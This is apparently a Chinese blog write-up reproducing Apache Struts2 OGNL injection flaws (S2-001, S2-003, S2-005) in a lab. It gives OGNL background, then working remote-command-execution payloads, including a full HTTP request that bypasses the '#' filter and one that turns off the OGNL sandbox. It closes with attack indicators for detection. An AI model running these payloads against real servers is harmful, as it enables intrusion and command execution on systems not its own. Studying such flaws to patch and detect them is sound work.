• struts2框架漏洞



    title: struts2框架漏洞
    categories:

    • 漏洞复现
      abbrlink: 48203
      date: 2024-06-14 15:45:27

    前言知识

    ognl表达式注入

    对象导航图语言,用于访问对象的字段、方法。基于简化访问java对象属性和调用方法需求,实现字段类型转化等功能;访问列表的元素:peoplelist[0]

    //正常java代码
    String name = MyUser.getName()
    //表达式写法
    #MyUser.name
    
    对静态方法或变量的访问
    • java:类名.方法名
    • ognl:@类名@方法名
    思考:

    后端写了一段程序:使用了ognl这个功能,getValue值可控,用户传入恶意表达式,导致漏洞

    %{value}将表达式值转换为字符串格式,在数据库查询参数的动态构造中非常有用

    Runtime

    作用域

    在java中,方法的作用域指的是方法可以被访问的范围

    1. Public:公共方法,可以被任何类访问
    2. Protected:受保护方法,可以被同一包内的类和该类的子类访问
    3. Default(package-private):默认方法,只能被同一包内的类访问
    4. Private:私有方法,只能在定义该方法的类内部访问
    使用Runtime时

    为啥不用通过 new 这种形式来创建对象

    Runtime的类构造方法定义域时private–>导致无法new一个新的对象出来

    image-20240616221741744

    那怎样获取Runtime的对象?
    image-20240616221526053

    静态方法

    在java中,static关键字用于表示一个成员属于类本身,而不是某个对象

    • 无需创建类的实例即可被调用,可使用类名+方法名调用,例如ClassName.methodName()
    • 非静态成员依赖于对象实例;静态方法不依赖任何实例
    如何去执行
    private static Runtime currentRuntime = new Runtime();
    public static Runtime getRuntime() {
        return currentRuntime;
    }
    定义currentRuntime的私有静态变量,初始化为一个新的Runtime对象。然后,它提供了一个公共静态方法getRuntime(),该方法返回currentRuntime变量的值。
    

    image-20240616223228152

    new Runtime(); 不能用
    
    Runtime.getRuntime(); 获取到Runtime对象
    

    漏洞原理

    用户提交表单数据并验证失败时,后端会将用户之前提交的参数值使用ognl表达式%{value}进行解析,然后重新填充到对应的表单数据中。

    例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

    漏洞复现

    S2-001

    poc:

    //获取tomcat执行路径
    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
    
    /usr/local/tomcat
    

    image-20240616224658534

    //获取web路径
    %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
    
    /usr/local/tomcat/webapps/ROOT/ 
    

    image-20240616224911469

    //执行任意命令
    new java.lang.String[]{"cat","/etc/passwd"}
    
    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    image-20240616225506526

    S2-003

    ognl表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,通过unicode编码(u2003)或8进制即可绕过安全限制,从而操纵服务器端上下文对象

    公布的poc

    GET /s2_war/index.action?(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(bla)(bla)&(%27\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\u0023mycmd\u003d\%27id\%27%27)(bla)(bla)&(%27\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)%27)(bla)(bla)&(A)((%27\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())%27)(bla))&(B)((%27\u0023myres\u003dnew\40byte[51020]%27)(bla))&(C)((%27\u0023mydat.readFully(\u0023myres)%27)(bla))&(D)((%27\u0023mystr\u003dnew\40java.lang.String(\u0023myres)%27)(bla))&(%27\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\u0023myout.getWriter().println(\u0023mystr)%27)(bla)) HTTP/1.1
    Host: 127.0.0.1:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,pt;q=0.7,da;q=0.6
    Cookie: JSESSIONID=FC7DC2221FDB37EAE855C6E6A11E9CC1; _ga=GA1.1.267931382.1545202285
    Connection: close
    

    请求响应内容:

    HTTP/1.1 200 OK
    Server: Apache-Coyote/1.1
    Date: Mon, 24 Dec 2018 09:36:01 GMT
    Connection: close
    
    uid=1234556(xxxx) gid=1603212982 groups=1603212982....
    

    S3-005

    XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

    user.address.city=Bishkek&user['favoriteDrink']=kumys 
    //会被转化成
    action.getUser().getAddress().setCity("Bishkek")  
    action.getUser().setFavoriteDrink("kumys")
    

    触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

    • S2-003 使用\u0023绕过s2对#的防御

    • S2-003后官方增加了安全模式(沙盒)

    • S2-005使用ognl表达式将沙盒关闭,继续使用代码

    poc(无回显,空格用@代替):

    /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
    

    image-20240616231748445

    进入容器可以看到/tmp下创建了success文件

    image-20240616231717266

    struts2攻击特征有哪些

    RCE试图传⼊的命令以及执⾏结果

    参数伪造,试图传⼊OGNL表达式

    struts2的特征

    .do .action后缀常会出现,.jsp也可能

    能够处理OGNL表达式

  • 相关阅读:
    设计模式-简单工厂模式
    FlinkSQL自定义UDATF实现TopN
    小白量化《穿云箭集群量化》(1)小白草根超级量化软件介绍
    Mongoose应用和文件上传
    leetcode451:根据字符出现频率排序
    windows 安装配置GO开发环境
    Docker安装达梦数据库+Java项目使用达梦
    【leetcode】最小差值 I c++
    /etc/profile与~/.bash_profile的区别
    微信小程序生成海报
  • 原文地址:https://blog.csdn.net/2301_82000839/article/details/139728780